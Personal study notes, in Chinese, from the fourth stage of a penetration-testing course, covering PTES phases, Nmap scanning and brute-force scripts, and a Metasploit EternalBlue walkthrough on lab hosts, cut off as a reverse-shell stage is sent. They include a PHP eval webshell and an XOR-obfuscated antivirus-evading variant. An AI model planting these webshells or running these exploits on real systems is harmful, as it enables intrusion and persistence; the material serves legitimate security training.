本文主要是介绍4.1网安学习第四阶段第一周回顾(个人学习记录使用),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
本周重点
①Nmap的使用
②MSF的使用
③XRAY / Dirb / AWVS / FSCAN 的使用
④Nessus的使用
⑤MsfVenom木马制作
⑥反弹shell的各种实现方式
本周主要内容
DAY1
一、课程介绍
第一阶段 :网络 和 协议 以及 等保 ,主要是对于网络整个安全的架构设计 ,偏重于企业层面 和 组织层面 ,没有技术细节 主要是假设网络
第二阶段 :操作系统 、数据库 、python 及 python 攻击脚本 、redis 等基础知识 ,是工作中必备的知识
第三阶段 : 专注的是web安全 ,针对web系统的渗透测试
第四阶段主要解决系统级的入侵、提权、内网、域渗透、木马免杀 、Java代码审计 ,主要是各种攻击手段,涉及大量攻击的使用 。
- 信息收集和系统攻击
- 系统提权和内网渗透
- 域渗透(Windows)
- Java 代码审计
二、PTES渗透测试执行标准
学习渗透测试,主要学习的是思路 ,多想 ,多尝试 ,猥琐一些 。
渗透测试就是利用学习掌握的技能通过一种模拟攻击的技术与方法,挫败目标系统的安全控制策略并获得控制访问权的安全测试方法,对网站进行渗透,发现其中的漏洞风险,并撰写报告告知客户,客户依据我们攥写的报告对漏洞和风险进行修补,防止攻击。
渗透测试的执行标准PTES(Penetration Tseting Execution Standard),它的核心理念是通过建立起进行渗透测试所要求的基本准则基线定义一次真正的渗透测试过程,得到了安全业界的广泛认同 ,但不是绝对的 。
2.1 、前期交互阶段
前期交互阶段通常是由你与客户组织进行讨论,来确定渗透测试的范围和目标。这个阶段最为关键的是需要让客户组织明确清晰地了解渗透测试将涉及哪些目标。而这个阶段也为你提供了机会,来说服客户走出全范围渗透测试的理想化愿景,选择更加现实可行的渗透测试目标来进行实际实施。
确定需要渗透测试的资产:一种是客户授权的资产,一种是自己扫描出的资产(子域名扫描)。
2.2 情报收集阶段
在情报搜集阶段,你需要采用各种可能的方法来搜集将要攻击的客户组织的所有信息,包括使用社交媒体网络、Google Hacking 技术、目标系统踩点等等。
我们四阶段,最先开始要学习的地方。已经知道了目标资产的前提,就需要情报收集工作。
1、主机扫描
(1)扫描某个网段内存在的主机:首要确认的点,你的靶场网段。
(2)扫描主机开放的端口和服务:常用端口:3306、6389、3389、445、22、80。
(3)扫描主机的操作系统和版本号:
(4)扫描主机可能存在的已知漏洞:基于第三点,知道系统和版本,去查有没有对应漏洞。
(5)常用工具:NMap、Nessus等:nmap学习的,Nessus(kali安装)。
2、Web扫描
(1)查询域名和子域名信息
(2)查询whois信息
(3)扫描Web应用的URL路径
(4)扫描Web应用后台管理入口
(5)常规漏洞扫描
(6)常用工具:子域名,御剑,AWVS,AppScan等
(7)Web并不单指带HTML+CSS+JS的网页应用,而是指基于HTTP协议的应用。
3、功能分析
(1)分析前台页面的登录注册功能
(2)根据用户注册提示确定可用账号
(3)尝试进行注册并登录,确认各项功能
(4)确定前台页面的URL跳转、用户评论、文件引用、文件上传、文件下载等强交互功能点
(5)确定后台是否存在文件上传、查询功能、命令功能、系统配置等
(6)确定用户是否存在密码重置功能,确认是否存在逻辑漏洞
4、抓包分析
(1)对前端页面的源代码进行分析,确认是否存在敏感信息或接口
(2)对关键功能进行抓包分析,预判后台基本实现逻辑
(3)对系统功能交互过程的编码和加密进行分析,如是否使用Base64编码、时间戳、Hash加密、
(4)对通信过程的Session和Cookie进行分析,判断为什么此处要这么用
(5)Fiddler、BurpSuite、Wireshark、科来(https://www.colasoft.com.cn/download/capsa.php)
5、使用的工具
(1)主机扫描:NMap、Nessus
(2)Web扫描:XRay+Rad、AWVS、AppScan、SQLMap、XSStrike、dirb、御剑等
(3)在线搜集:zoomeye.org、fofa.info、shodan.io、微步在线、域名注册商如万网、企查查等 http://cd.woniulab.com:8900/Java/navigation
而作为渗透测试者,你最为重要的一项技能就是对目标系统的探查能力,包括获知它的行为模式、运行机理,以及最终可以如何被攻击。
在情报搜集阶段中,你将试图通过逐步深入的探测,来确定在目标系统中实施了哪些安全防御机制。
2.3 威胁建模阶段
威胁建模主要使用你在情报搜集阶段所获取到的信息,来标识出目标系统上可能存在的安全漏洞与弱点。
在进行威胁建模时,你将确定最为高效的攻击方法、你所需要进一步获取到的信息,以及从哪里攻破目标系统。
在威胁建模阶段,你通常需要将客户组织作为敌手看待,然后以攻击者的视角和思维来尝试利用目标系统的弱点。
1、已知exp使用
根据信息搜集结果,直接网上寻找对应开发框架或CMS的成熟漏洞利用工具,如struts2的全家桶。
2、暴力破解
不推荐直接上暴力破解,宁可收集对方公司的股东信息,尝试弱密码登录。
适用于验证码可绕过,使用top1000等各类字典,也可以根据搜集到的密码规则匹配相应账号使用hashcat自行创建字典。burpsuite的暴力破解模块也提供了多样化的字典生成功能。或使用专有工具如Hydra、SNetCracker等,或根据业务需要自己编写Python脚本。
3、逻辑漏洞
http://old.woniuxy.com:8089/woniuopen/
蜗牛测试服务器,里面是修改漏洞之前的版本。
尤其是密码重置,很关键。根据经验来看,至少可从七个方面攻击密码找回功能:
- 重置凭证接收端可篡改、
- 重置凭证泄漏、
- 重置凭证未校验、
- 重置凭证可暴破、
- 用户混淆、
- 应答中存在影响后续逻辑的状态参数、
- token 可预测。
在逻辑漏洞的找寻中,重点观察跟你用户名有关的请求,尝试在各种请求中将你的用户名或身份认证替换成他人的。
4、JS信息泄露
一般内部系统的网站JS可能会存有用户接口,我们可以通过接口发现用户信息。也可以分析js的代码,构造出后台路径和参数逻辑。
5、后台WEB漏洞
除了在信息搜集中提到的上传功能(上传webshell)、查询功能(sql注入)、命令功能(命令注入)外,其他web安全漏洞都最好根据功能逐一尝试。
6、代码审计
也有工具可以快速帮我们审计里面可以利用的调用链。最爱找的就是RCE(remote code excute)漏洞。
如果拿到源码,可以根据审计结果构造payload。
7、使用到的工具:
(1)渗透测试:Hydra,Medusa、MetaSploit Framework、反序列化工具、各类专项工具
(2)代码审计:RIPS、Fortify SCA
(3)Shell管理:菜刀、冰蝎、蚁剑、哥斯拉、PSTool等
2.4 漏洞分析阶段
一旦确定最为可行的攻击方法之后,你需要考虑你该如何取得目标系统的访问权。在漏洞分析阶段,你将综合从前面的几个环节中获取到的信息,并从中分析和理解哪些攻击途径会是可行的。特别是需要重点分析端口和漏洞扫描结果,攫取到的服务“旗帜”信息,以及在情报搜集环节中得到的其他关键信息。
开会,讨论,分任务的阶段。
也是大家,威胁情报收集之后,除了根据提示利用以外,更多的要考虑你该如何取得目标系统的访问权限。
2.5 渗透攻击阶段(重点)
渗透攻击可能是在渗透测试过程中最具魅力的环节,然而在实际情况下往往没有你所预想的那么“一帆风顺”,而往往是“曲径通幽”。
最好是在你基本上能够确信特定渗透攻击会成功的时候,才真正对目标系统实施这次渗透攻击,当然在目标系统中很可能存在着一些你没有预期到的安全防护措施,使得这次渗透攻击无法成功。
但是要记住的是,在你尝试要触发一个漏洞时,你应该清晰地了解在目标系统上存在这个漏洞。
进行大量漫无目的的渗透尝试之后期待奇迹般地出现一个 shell 根本是痴心妄想,这种方式将会造成大量喧闹的报警,也不会为身为渗透测试者的你以及你的客户组织提供任何帮助。
请先做好功课,然后再针对目标系统实施已经经过了深入研究和测试的渗透攻击,这样才有可能取得成功。
下面的内容都是要正课学习的内容:
1. 反弹shell
有个前提:getshell完成,要么有RCE漏洞。
正向shell:攻击方主动链接受害者。ssh链接就是一种正向获取shell的命令。
反向shell:受害者主动链接攻击方。http://cd.woniulab.com:8900/reverse/index.html
2. 留后门–制作木马
一句话木马:
内存马:
不死马:
3. 木马免杀
静态免杀:静态特征,文本里面包含了某个特征,比如exec
<?php eval($_POST['CODE']); ?>
免杀,就是不要有这些静态特征:静态特征的混淆。
<?php@$_++; // 1 $_ 就是变量名
// 96 ^ 63 ==>95 的ascii就是 _GET
$__=("`"^"?").(":"^"}").("%"^"`").("{"^"/"); // _GET $__ 变量名
$___=("$"^"{").("~"^".").("/"^"`").("-"^"~").("("^"|"); //_POST
${$__}[!$_](${$___}[$_]); // $_GET[0]($_POST[1]);?>
后期还会有C语言开发木马的免杀效果,还需要c语言来开发dll文件,使用python去调用,python开发的东西可以打包成exe文件。
4. 渗透工具
MSF: MetaSploit Framework,常用于linux。被杀毒软件盯死了。
CS: Cobalt Strike,常用于windows
2.6 后渗透攻击阶段
post阶段:
后渗透攻击阶段从你已经攻陷了客户组织的一些shell系统或取得域管理权限之后开始,但离你搞定收工还有很多事情要做。
后渗透攻击阶段在任何一次渗透测试过程中都是一个关键环节,而这也是最能够体现你和那些平庸的骇客小子们的区别,真正从你的渗透测试中为客户提供有价值信息的地方。
后渗透攻击阶段将以特定的业务系统作为目标,识别出关键的基础设施,并寻找客户组织最具价值和尝试进行安全保护的信息和资产,当你从一个系统攻入另一个系统时,你需要演示出能够对客户组织造成最重要业务影响的攻击途径。
在后渗透攻击阶段进行系统攻击时,你需要投入更多的时间来确定各种不同系统的用途,以及它们中不同的用户角色,举例来说,设想你已经攻陷了一个域管理服务器,现在你已经获取企业管理员账户,或拥有域管理员一级的权限,你或许已经成为整个域的统治者,但你是否知道与活动目录服务器进行通信的这些系统是干什么用的呢?用来支付客户组织雇员薪水的关键财务系统在哪里运行呢?你能否攻破这台系统,并在下一轮发薪时,将公司所有的薪水都转移到一个海外的银行账户上呢?你能找出客户组织的知识产权都在哪里吗?
1、权限提升
Webshell中的90%都是www-data权限,需要想尽办法提升至root权限,可以用的办法有利用内核栈溢出提权、搜寻配置文件中的明文密码、环境变量劫持高权限程序、不安全的服务、借助权能(POSIX capabilities)提权、sudo 误配、SUID 滥用等等。这些可以查阅网上相关资料和方法,下载对应的exp完成。
2、权限维持
在获取了超级管理员权限后,还得想办法要将权限维持住。
3、内网穿透
在后渗透阶段,攻击进入一台目标主机是远远不够的,还需要通过内网横向移动来完成对核心目标的访问和渗透,此时通过内网穿透保持一个可靠连接,随时可以通过穿透功能进入目标主机。这一过程同样需要注意如何规避防病毒软件或防火墙的发现。
4、内网渗透
当能够保持超级管理员的权限并进行维持后,此时便可以开展内网渗透工作,整体过程与外网渗透比较类似,但是面临的实际情况并不完全一样,需要借助各类工具和经验进行处理。作为渗透测试的工作而非红方攻击来说(渗透角度问题:站在攻击者的视角进行测试;站在测试角度进行测试。),内网渗透并非最必要的一步,但是可以一试,进一步确定目标主机的漏洞及影响范围。
(1)办公网络:通常不提供对外服务,只是为了上网。社工(社会工程学,人性的泯灭,心理的扭曲),钓鱼,通常反向连接,办公网络也有可能是域环境。
(2)服务器网络:服务器作跳板,进行内网渗透,同样也可以反向连接。
5、内网隧道搭建
内网穿透工具类似,hamachi,netapp都可以实现内网穿透。类似SNAT,DNAT。
6、使用的工具
(1)权限提升:MSF、漏扫、各类专项渗透工具等
(2)内网渗透:Cobalt Strike、Ladon、PSTools等
(3)内网穿透:Frp、冰蝎、Cobalt Strike、代理等
2.7 报告阶段
报告是渗透测试过程中最为重要的因素,你将使用报告文档来交流你在渗透测试过程中做了哪些,如何做的,以及最为重要的——客户组织如何修复你所发现的安全漏洞与弱点。
在进行渗透测试时,你是从一个攻击者的角度来进行工作的,这些工作一般客户组织会很少看到,而你在渗透测试过程中所获取到的信息是增强客户组织的信息安全措施以成功防御未来攻击的关键所在。
当你在编写和报告你的发现时,你需要站在客户组织的角度上,来分析如何利用你的发现来提升安全意识,修补发现的问题,以及提升整体的安全水平,而并不仅仅是对发现的安全漏洞打上补丁。
你所撰写的报告至少应该分为摘要、过程展示和技术发现这几个部分,技术发现部分将会被你的客户组织用来修补安全漏洞,但这也是渗透测试过程真正价值的体现位置。
技术发现:报告中的难点,从技术手段提供解决方案。
为什么网络安全要学习这么多编程语言,因为指不定进公司用的语言是你没学过的。
1. php代码审计
三阶段学习的学习
2. java代码审计
最后一周的课程!很多漏洞会基于代码审计来发现。
3. 数据恢复(调查取证的业务)
(1)文件删除后不做任何写操作,99%的情况是完全可以恢复的。
(2)低级格式化硬盘,此时不可恢复。删除文件后进行写入覆盖。
三、Nmap
Nmap是一款开源免费的网络发现(Network Discovery)和安全审计(Security Auditing)工具。软件名字Nmap是Network Mapper的简称。Nmap最初是由Fyodor在1997年开始创建的。随后在开源社区众多的志愿者参与下,该工具逐渐成为最为流行安全必备工具之一。
官网为:www.nmap.org。一般情况下,Nmap用于列举网络主机清单、管理服务升级调度、监控主机或服务运行状况。Nmap可以检测目标机是否在线、端口开放情况、侦测运行的服务类型及版本信息、侦测操作系统与设备类型等信息。
Nmap有四种基本功能:「端口扫描」、「主机探测」、「服务识别」和「系统识别」。
1. 端口扫描
nmap ip #直接扫描默认端口
nmap ip -p 80 #只扫描80端口
nmap -p 80-4000 ip #端口范围扫描
nmap -p- ip #扫描所有端口 相当于 nmap -p 1-65535 ip
2. 指定扫描方式
nmap支持多种探测方式,包括以下几种:
SYN扫描(半连接扫描,默认):使用TCP SYN数据包来探测目标主机上的开放端口,能够快速地进行端口扫描,并且不会建立完整的TCP连接,不会留下扫描日志。
TCP连接扫描:与SYN扫描类似,但是在探测每个端口时会建立完整的TCP连接。这样做可以获取更多有关目标主机服务的信息,但需要更长时间完成,会留下扫描日志。
UDP扫描:用于检测UDP协议是否可用,并确定哪些UDP端口是开放的。由于UDP没有像TCP那样进行确认或者建立连接,因此UDP扫描可能需要更长时间完成。
- TCP和UDP 之间的区别 ?
- 什么是TCP的三次握手 和四次挥手 ,以及为什么要三次握手 和四次挥手 ?
Null扫描:向目标主机发送一个没有任何标志位设置为1的空数据包,如果目标主机返回了ICMP错误消息,则表明该端口是关闭状态。
FIN扫描:通过发送一个FIN数据包来测试目标主机上指定端口是否开放。如果收到RST(复位)消息,则说明该端口已关闭。
Xmas树(Christmas Tree)扫描:通过在TCP数据包中设置FIN、URG和PSH(推送)标志位来测试目标主机上指定端口是否开放。如果收到RST消息,则说明该端口已关闭。
ip.addr == 192.168.153.141 and tcp.port == 80
3. -sV 版本扫描
扫描端口 和 版本 。
nmap -sV 192.168.15.141
4. -O 版本扫描
扫描系统的版本 。
nmap -O 192.168.153.141
5.-A 万能开关 好用 (ALL)
扫描所有信息 。
nmap -A 192.168.153.141
6.常用内置脚本(nmap中常用)
所有扫描脚本,可以查看Kali下的目录:/usr/share/nmap/scripts,具体各个脚本的用法及参数,参考:https://nmap.org/nsedoc/
–script auth :认证爆破
└─# nmap --script=auth 192.168.12.128 -p 22
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-01 14:11 CST
Nmap scan report for 192.168.12.128
Host is up (0.0012s latency).PORT STATE SERVICE
22/tcp open ssh
| ssh-publickey-acceptance:
|_ Accepted Public Keys: No public keys accepted
| ssh-auth-methods:
| Supported authentication methods:
| publickey
| gssapi-keyex
| gssapi-with-mic
|_ password
MAC Address: 00:0C:29:33:06:75 (VMware)Nmap done: 1 IP address (1 host up) scanned in 7.79 seconds
–script=brute: 爆破 (暴力破解)
nmap --script=mysql-brute 192.168.153.141 -p 3306 #默认用户 密码字典
└─# nmap --script=mysql-brute 192.168.12.131 -p 3306
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-01 14:20 CST
Nmap scan report for 192.168.12.131
Host is up (0.00042s latency).PORT STATE SERVICE
3306/tcp open mysql
| mysql-brute:
| Accounts:
| root:root - Valid credentials
| Statistics: Performed 1 guesses in 1 seconds, average tps: 1.0
|_ ERROR: The service seems to have failed or is heavily firewalled...
MAC Address: 00:0C:29:0A:83:93 (VMware)Nmap done: 1 IP address (1 host up) scanned in 1.87 seconds
nmap --script=mysql-brute --script-args userdb=/tmp/userDB.txt,passdb=/tmp/passDB.txt 192.168.153.141 -p 3306 # 自定义 用户名和密码字典
└─# nmap --script=mysql-brute --script-args userdb=/tmp/user.txt,passdb=/tmp/pass.txt 192.168.201.144 -p 3306
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-01 14:23 CST
Nmap scan report for 192.168.201.144
Host is up (0.00069s latency).PORT STATE SERVICE
3306/tcp open mysql
| mysql-brute:
| Accounts:
| root:123456 - Valid credentials
|_ Statistics: Performed 1 guesses in 1 seconds, average tps: 1.0Nmap done: 1 IP address (1 host up) scanned in 1.91 seconds
–script=vuln :漏洞扫描
auth: 负责处理鉴权证书(绕开鉴权)的脚本
brute: 提供暴力破解方式,针对常见的应用如http/snmp等
vuln: 负责检查目标机是否有常见的漏洞(Vulnerability),如是否有MS08_067broadcast: 在局域网内探查更多服务开启状况,如dhcp/dns/sqlserver等服务
default: 使用-sC或-A选项扫描时候默认的脚本,提供基本脚本扫描能力
discovery: 对网络进行更多的信息,如SMB枚举、SNMP查询等
dos: 用于进行拒绝服务攻击
exploit: 利用已知的漏洞入侵系统
external: 利用第三方的数据库或资源,例如进行whois解析
fuzzer: 模糊测试的脚本,发送异常的包到目标机,探测出潜在漏洞
intrusive: 入侵性的脚本,此类脚本可能引发对方的IDS/IPS的记录或屏蔽
malware: 探测目标机是否感染了病毒、开启了后门等信息
safe: 此类与intrusive相反,属于安全性脚本
version: 负责增强服务与版本扫描(Version Detection)功能的脚本
auth 负责处理鉴权证书(绕开鉴权)的脚本
nmap --script=auth 192.168.153.144 -p22
vuln: 负责检查目标机是否有常见的漏洞(Vulnerability),如是否有MS08_067
nmap --script=vuln 192.168.153.141
brute: 提供暴力破解方式,针对常见的应用如http/snmp等
nmap --script=mysql-brute 192.168.153.141 -p 3306 # 默认用户 密码字典 nmap --script=mysql-brute --script-args userdb=/tmp/userDB.txt,passdb=/tmp/passDB.txt 192.168.153.141 -p 3306 # 自定义 用户名和密码字典
四、MSF
1、功能介绍
Metasploit是一款开源安全漏洞检测工具,附带数千个已知的软件漏洞,并保持频繁更新。被安全社区冠以“可以黑掉整个宇宙”之名的强大渗透测试框架。
Metasploit是一款开源的渗透测试框架平台,到目前为止,msf已经内置了数千个已披露的漏洞相关的模块和渗透测试工具,模块使用ruby语言编写,这使得使用者能够根据需要对模块进行适当修改,甚至是调用自己写的测试模块。选定需要使用的攻击模块之后,你只需要使用简单的命令配置一些参数就能完成针对一个漏洞的测试和利用,将渗透的过程自动化、简单化。
2、模块介绍
模块名 | **中文解释 ** | 功能描述 |
---|---|---|
Auxiliaries | 辅助模块 | 该模块不会直接在测试者和目标主机之间建立访问,它们只负责执行扫描、嗅探、指纹识别等相关功能以辅助渗透测试 |
Exploit | 漏洞利用模块 | 漏洞利用是指由渗透测试者利用一个系统、应用或者服务中的安全漏洞进行的攻击行为。流行的渗透测试攻击技术包括缓冲区溢出、Web应用程序攻击,以及利用配置错误等,其中包含攻击者或测试人员针对系统中的漏洞而设计的各种POC验证程序,用于破坏系统安全性的攻击代码,每个漏洞都有相应的攻击代码。 |
Payload | 攻击载荷模块 | 攻击载荷是我们期望目标系统在被渗透攻击之后完成实际供给功能的代码,成功渗透目标后,用于在目标系统上运行任意命令或者执行特定代码,在Metasploit框架中可以自由选择、传送和植入。攻击载荷也可能是简单地在目标操作系统上执行一些命令,如添加用户账号等。 |
Post | 后期渗透模块 | 该模块主要用于在取得目标系统远程控制权后,进行一系列的后渗透攻击动作,如获取敏感信息、实施跳板攻击等 |
Encoders | 编码工具模块 | 该模块在渗透测试中负责免杀,以防止被杀毒软件、防火墙、IDS及类似的安全软件检测出来 |
evasion | 混淆模块 | 能够生成绕过杀毒软件的shell(目前只适用于Windows) |
Meterpreter | 后续利用模块 | 作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。通常也作为后渗透测试功能使用。 |
上述模块所在位置:/usr/share/metasploit-framework/modules
3、漏洞利用
根据信息收集结果搜索漏洞利用模块,如NMap,Nessus等,在MSF中进行漏洞查找,找exploit模块下是否存在现有漏洞,并且进行利用。此处以Windows 2003为例,先通过Nessus或Nmap扫描,获取了主机漏洞列表。
例如 :使用 nmap --script=vuln ip 扫描到漏洞 如 : ms17-010
利用漏洞 获取系统shell 的过程 :
-
进入msfconsole
┌──(root㉿kali)-[~/Desktop] └─# msfconsole Metasploit tip: Tired of setting RHOSTS for modules? Try globally setting it with setg RHOSTS x.x.x.x, ,/ \((__---,,,---__))(_) O O (_)_________\ _ / |\o_o \ M S F | \\ _____ | *||| WW|||||| |||=[ metasploit v6.3.43-dev ] + -- --=[ 2376 exploits - 1232 auxiliary - 416 post ] + -- --=[ 1391 payloads - 46 encoders - 11 nops ] + -- --=[ 9 evasion ]Metasploit Documentation: https://docs.metasploit.com/msf6 >
-
search ms17-010
msf6 > search ms17-010Matching Modules ================# Name Disclosure Date Rank Check Description- ---- --------------- ---- ----- -----------0 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption1 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution2 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution3 auxiliary/scanner/smb/smb_ms17_010 normal No MS17-010 SMB RCE Detection4 exploit/windows/smb/smb_doublepulsar_rce 2017-04-14 great Yes SMB DOUBLEPULSAR Remote Code ExecutionInteract with a module by name or index. For example info 4, use 4 or use exploit/windows/smb/smb_doublepulsar_rcemsf6 >
搜索到5个模块 :
- auxiliary : 嗅探 模块
- exploit : 攻击利用模块
-
auxiliary
测试漏洞是否存在 和 nmap --script=vuln 类似
首先切换到 auxiliary 模块 ,每一个嗅探模块都可以使用,一个无效,测试另外一个 。
可以通过模块名字 或者 模块序号 选择使用
msf6 > use uxiliary/admin/smb/ms17_010_commandMatching Modules ================# Name Disclosure Date Rank Check Description- ---- --------------- ---- ----- -----------0 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command ExecutionInteract with a module by name or index. For example info 0, use 0 or use auxiliary/admin/smb/ms17_010_command[*] Using auxiliary/admin/smb/ms17_010_command msf6 auxiliary(admin/smb/ms17_010_command) >
msf6 > search ms17-010Matching Modules ================# Name Disclosure Date Rank Check Description- ---- --------------- ---- ----- -----------0 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption1 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution2 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution3 auxiliary/scanner/smb/smb_ms17_010 normal No MS17-010 SMB RCE Detection4 exploit/windows/smb/smb_doublepulsar_rce 2017-04-14 great Yes SMB DOUBLEPULSAR Remote Code ExecutionInteract with a module by name or index. For example info 4, use 4 or use exploit/windows/smb/smb_doublepulsar_rcemsf6 > use 3 msf6 auxiliary(scanner/smb/smb_ms17_010) >
查看命令 :show options :
msf6 auxiliary(scanner/smb/smb_ms17_010) > show optionsModule options (auxiliary/scanner/smb/smb_ms17_010):Name Current Setting Required Description---- --------------- -------- -----------CHECK_ARCH true no Check for architecture on vulnerable hostsCHECK_DOPU true no Check for DOUBLEPULSAR on vulnerable hostsCHECK_PIPE false no Check for named pipe on vulnerable hostsNAMED_PIPES /usr/share/metasploit-framework/data/wordlists/named_pipes.txt yes List of named pipes to checkRHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.htmlRPORT 445 yes The SMB service port (TCP)SMBDomain . no The Windows domain to use for authenticationSMBPass no The password for the specified usernameSMBUser no The username to authenticate asTHREADS 1 yes The number of concurrent threads (max one per host)View the full module info with the info, or info -d command.msf6 auxiliary(scanner/smb/smb_ms17_010) >
其中 RHOSTS 是必填项 ,但是没有默认值 ,代表远程服务主机 ,接下来设置嗅探的远程主机
msf6 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.12.130 rhosts => 192.168.12.130 msf6 auxiliary(scanner/smb/smb_ms17_010) > show optionsModule options (auxiliary/scanner/smb/smb_ms17_010):Name Current Setting Required Description---- --------------- -------- -----------CHECK_ARCH true no Check for architecture on vulnerable hostsCHECK_DOPU true no Check for DOUBLEPULSAR on vulnerable hostsCHECK_PIPE false no Check for named pipe on vulnerable hostsNAMED_PIPES /usr/share/metasploit-framework/data/wordlists/named_pipes.txt yes List of named pipes to checkRHOSTS 192.168.12.130 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.htmlRPORT 445 yes The SMB service port (TCP)SMBDomain . no The Windows domain to use for authenticationSMBPass no The password for the specified usernameSMBUser no The username to authenticate asTHREADS 1 yes The number of concurrent threads (max one per host)View the full module info with the info, or info -d command.msf6 auxiliary(scanner/smb/smb_ms17_010) >
执行嗅探
msf6 auxiliary(scanner/smb/smb_ms17_010) > run[+] 192.168.12.130:445 - Host is likely VULNERABLE to MS17-010! - Windows Server 2008 R2 Standard 7601 Service Pack 1 x64 (64-bit) [*] 192.168.12.130:445 - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed msf6 auxiliary(scanner/smb/smb_ms17_010) >
试探成功 ,远程主机上存在这个漏洞
注 : 并不是每一次试探都能成功 ,如果不成功,就换一个模块试探,如果都不成功,这个工具就没招了 。
-
exploit
选择其中某一个 exploit 模块 ,利用名字和序号 都可以
msf6 auxiliary(scanner/smb/smb_ms17_010) > use 0 [*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp msf6 exploit(windows/smb/ms17_010_eternalblue) >
显示参数
msf6 exploit(windows/smb/ms17_010_eternalblue) > show optionsModule options (exploit/windows/smb/ms17_010_eternalblue):Name Current Setting Required Description---- --------------- -------- -----------RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.htmlRPORT 445 yes The target port (TCP)SMBDomain no (Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.SMBPass no (Optional) The password for the specified usernameSMBUser no (Optional) The username to authenticate asVERIFY_ARCH true yes Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.VERIFY_TARGET true yes Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.Payload options (windows/x64/meterpreter/reverse_tcp):Name Current Setting Required Description---- --------------- -------- -----------EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)LHOST 192.168.12.129 yes The listen address (an interface may be specified)LPORT 4444 yes The listen port Exploit target:Id Name-- ----0 Automatic TargetView the full module info with the info, or info -d command.msf6 exploit(windows/smb/ms17_010_eternalblue) >
设置远程攻击主机IP :RHOSTS
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.12.130 RHOSTS => 192.168.12.130 msf6 exploit(windows/smb/ms17_010_eternalblue) > show optionsModule options (exploit/windows/smb/ms17_010_eternalblue):Name Current Setting Required Description---- --------------- -------- -----------RHOSTS 192.168.12.130 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.htmlRPORT 445 yes The target port (TCP)SMBDomain no (Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.SMBPass no (Optional) The password for the specified usernameSMBUser no (Optional) The username to authenticate asVERIFY_ARCH true yes Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.VERIFY_TARGET true yes Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.Payload options (windows/x64/meterpreter/reverse_tcp):Name Current Setting Required Description---- --------------- -------- -----------EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)LHOST 192.168.12.129 yes The listen address (an interface may be specified)LPORT 4444 yes The listen portExploit target:Id Name-- ----0 Automatic TargetView the full module info with the info, or info -d command.msf6 exploit(windows/smb/ms17_010_eternalblue) >
执行攻击 :
[*] Started reverse TCP handler on 192.168.12.129:4444 [*] 192.168.12.130:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check [+] 192.168.12.130:445 - Host is likely VULNERABLE to MS17-010! - Windows Server 2008 R2 Standard 7601 Service Pack 1 x64 (64-bit) [*] 192.168.12.130:445 - Scanned 1 of 1 hosts (100% complete) [+] 192.168.12.130:445 - The target is vulnerable. [*] 192.168.12.130:445 - Connecting to target for exploitation. [+] 192.168.12.130:445 - Connection established for exploitation. [+] 192.168.12.130:445 - Target OS selected valid for OS indicated by SMB reply [*] 192.168.12.130:445 - CORE raw buffer dump (51 bytes) [*] 192.168.12.130:445 - 0x00000000 57 69 6e 64 6f 77 73 20 53 65 72 76 65 72 20 32 Windows Server 2 [*] 192.168.12.130:445 - 0x00000010 30 30 38 20 52 32 20 53 74 61 6e 64 61 72 64 20 008 R2 Standard [*] 192.168.12.130:445 - 0x00000020 37 36 30 31 20 53 65 72 76 69 63 65 20 50 61 63 7601 Service Pac [*] 192.168.12.130:445 - 0x00000030 6b 20 31 k 1 [+] 192.168.12.130:445 - Target arch selected valid for arch indicated by DCE/RPC reply [*] 192.168.12.130:445 - Trying exploit with 12 Groom Allocations. [*] 192.168.12.130:445 - Sending all but last fragment of exploit packet [*] 192.168.12.130:445 - Starting non-paged pool grooming [+] 192.168.12.130:445 - Sending SMBv2 buffers [+] 192.168.12.130:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer. [*] 192.168.12.130:445 - Sending final SMBv2 buffers. [*] 192.168.12.130:445 - Sending last fragment of exploit packet! [*] 192.168.12.130:445 - Receiving response from exploit packet [+] 192.168.12.130:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)! [*] 192.168.12.130:445 - Sending egg to corrupted connection. [*] 192.168.12.130:445 - Triggering free of corrupted buffer. [*] Sending stage 